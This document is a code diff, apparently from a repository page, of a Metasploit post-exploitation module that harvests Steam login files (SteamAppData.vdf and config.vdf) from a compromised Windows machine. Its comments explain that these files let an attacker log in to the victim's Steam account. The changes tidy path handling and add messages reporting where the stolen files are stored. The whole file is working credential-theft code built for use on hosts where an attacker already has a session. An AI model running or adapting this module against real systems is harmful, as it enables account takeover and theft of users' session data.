1
- ##
2
- # $Id: steam.rb
3
- ##
4
-
5
1
##
6
2
# This file is part of the Metasploit Framework and may be subject to
7
3
# redistribution and commercial restrictions. Please see the Metasploit
8
4
# web site for more information on licensing and terms of use.
9
5
# http://metasploit.com/
10
6
##
11
7
12
- ##
13
- # All that is needed to login to another Steam account is config.vdf,
14
- # setting the AutoLoginUser to the proper username and RememberPassword
15
- # to 1 in SteamAppData.vdf.
16
- # Only tested on Win7 x64
17
- #
18
- # config.vdf , ContentCache element holds a K,V table of what appears
19
- # to be UniqueID, Session. This is purely speculation as I have not
20
- # reversed it to check. However the key is always unique to the account
21
- # and the value changes whenever the account is logged out and then
22
- # back in.
23
- ##
24
-
25
8
require 'msf/core'
26
9
require 'msf/core/post/file'
27
10
@@ -42,6 +25,16 @@ def initialize(info={})
42
25
) )
43
26
end
44
27
28
+ # All that is needed to login to another Steam account is config.vdf,
29
+ # setting the AutoLoginUser to the proper username and RememberPassword
30
+ # to 1 in SteamAppData.vdf.
31
+ # Only tested on Win7 x64
32
+ #
33
+ # config.vdf , ContentCache element holds a K,V table of what appears
34
+ # to be UniqueID, Session. This is purely speculation as I have not
35
+ # reversed it to check. However the key is always unique to the account
36
+ # and the value changes whenever the account is logged out and then
37
+ # back in.
45
38
def run
46
39
steamappdata = 'SteamAppData.vdf'
47
40
steamconfig = 'config.vdf'
@@ -50,25 +43,26 @@ def run
50
43
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
51
44
# the correct program files folder.
52
45
# We will just use an x64 only defined env variable to check.
53
- if not expand_path ( '%ProgramFiles(X86)%' ) . empty?
46
+ if not expand_path ( '%ProgramFiles(X86)%' ) . empty? and expand_path ( '%ProgramFiles(X86)%' ) !~ /%ProgramFiles \( X86 \) %/
54
47
progs = expand_path ( '%ProgramFiles(X86)%' ) #x64
55
48
else
56
49
progs = expand_path ( '%ProgramFiles%' ) #x86
57
50
end
58
- path = progs + '\\Steam\\config\\ '
51
+ path = progs + '\\Steam\\config'
59
52
60
53
print_status ( "Checking for Steam configs in #{ path } " )
61
54
62
55
# Check if all the files are there.
63
- # I know the path[0..-2] is ugly but directory? does not permit trailing slashes.
64
- if directory? ( path [ 0 ..-2 ] ) && file? ( path +steamappdata ) && file? ( path +steamconfig )
56
+ if directory? ( path ) && file? ( "#{ path } \\ #{ steamappdata } " ) && file? ( "#{ path } \\ #{ steamconfig } " )
65
57
print_status ( "Located steam config files." )
66
- sad = read_file ( path + steamappdata )
58
+ sad = read_file ( " #{ path } \\ #{ steamappdata } " )
67
59
if sad =~ /RememberPassword\W *\" 1\" /
68
60
print_status ( "RememberPassword is set! Accountname is #{ u_rx . match ( sad ) [ 1 ] } " )
69
- scd = read_file ( path +steamconfig )
70
- store_loot ( 'steam.config' , 'text/plain' , session , sad , filename = steamappdata )
71
- store_loot ( 'steam.config' , 'text/plain' , session , scd , filename = steamconfig )
61
+ scd = read_file ( "#{ path } \\ #{ steamconfig } " )
62
+ steam_app_data_path = store_loot ( 'steam.config' , 'text/plain' , session , sad , filename = steamappdata )
63
+ print_good ( "The file SteamAppData.vdf has been stored on #{ steam_app_data_path } " )
64
+ steam_config_path = store_loot ( 'steam.config' , 'text/plain' , session , scd , filename = steamconfig )
65
+ print_good ( "The file config.vdf has been stored on #{ steam_config_path } " )
72
66
print_status ( "Steam configs harvested successfully!" )
73
67
else
74
68
print_error ( "RememberPassword is not set, exiting." )
0 commit comments